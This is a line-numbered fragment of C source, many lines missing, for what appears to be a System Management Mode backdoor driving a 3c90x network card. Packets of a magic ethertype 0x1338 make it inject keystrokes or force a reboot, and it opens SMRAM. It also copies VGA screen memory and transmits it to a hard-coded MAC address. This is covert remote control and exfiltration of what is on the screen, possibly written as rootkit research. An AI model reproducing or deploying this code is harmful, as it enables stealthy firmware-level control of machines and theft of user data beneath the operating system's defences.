3 #include <video_defines.h>
5 #include <pci-bother.h>
9 #include "../aseg/keyboard.h"
11 static struct nic *_nic = 0x0;
13 extern struct pci_driver a3c90x_driver;
15 static char test[1024] = {0};
17 static char packet[4096] = {0};
19 typedef struct packet_t {
22 unsigned short ethertype;
23 unsigned short datalen;
24 unsigned char command;
28 static unsigned char vga_read(unsigned char idx)
30 outb(CRTC_IDX_REG, idx);
31 return inb(CRTC_DATA_REG);
34 static unsigned int vga_base()
36 return (((unsigned int) vga_read(CRTC_START_ADDR_MSB_IDX)) << 9)
37 + (((unsigned int) vga_read(CRTC_START_ADDR_LSB_IDX)) << 1);
40 void handle_command(packet_t * p)
42 uint16_t dl = htons(p->datalen);
45 outputf("NIC: Command: 0x%x, %d bytes", p->command, dl);
49 for (i = 0; i < dl; i++)
50 kbd_inject_key(p->data[i]);
53 outb(0xCF9, 0x4); /* Reboot */
62 static short pos = 0x0;
63 unsigned short base = vga_base();
64 unsigned char *p = (unsigned char *)0xB8000;
65 smram_state_t old_state;
70 if (_nic->poll(_nic, 0)) {
71 _nic->packet = packet;
74 packet_t * p = (packet_t *) packet;
76 outputf("NIC: Packet: %d 0x%x", _nic->packetlen, htons(p->ethertype));
77 if (htons(p->ethertype) == 0x1338) {
78 if (htons(p->datalen) + sizeof(packet_t) > _nic->packetlen) {
79 outputf("NIC: Malformed packet");
85 smram_tseg_set_state(SMRAM_TSEG_OPEN);
86 old_state = smram_save_state();
91 if (((base + 80*25*2)%0x8000) < base)
93 if ((pos > ((base + 80*25*2)%0x8000)) && (pos < base))
95 } else if ((pos > base + 80*25*2) || (pos < base))
101 test[3] = base & 0xFF;
103 smram_aseg_set_state(SMRAM_ASEG_SMMCODE);
105 for (i = 4; i < 1024; i++)
110 smram_restore_state(old_state);
111 _nic->transmit("\x00\x03\x93\x87\x84\x8C", 0x1337, 1024, test);
114 int eth_register(struct nic *nic)
124 /* Required for DMA to work. :( */
125 smram_tseg_set_state(SMRAM_TSEG_OPEN);
126 pci_probe_driver(a3c90x_driver);